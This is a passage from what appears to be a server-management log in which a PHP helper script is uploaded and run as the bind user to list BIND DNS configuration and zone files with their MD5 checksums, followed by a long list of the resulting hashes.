			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:14:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp476162; rm /tmp/pkp476162'

2026-04-30 16:14:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:14:58: Establishing a connection
2026-04-30 16:14:58: 

PUT: /tmp/pkp618943

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:14:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp618943; rm /tmp/pkp618943'

2026-04-30 16:14:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
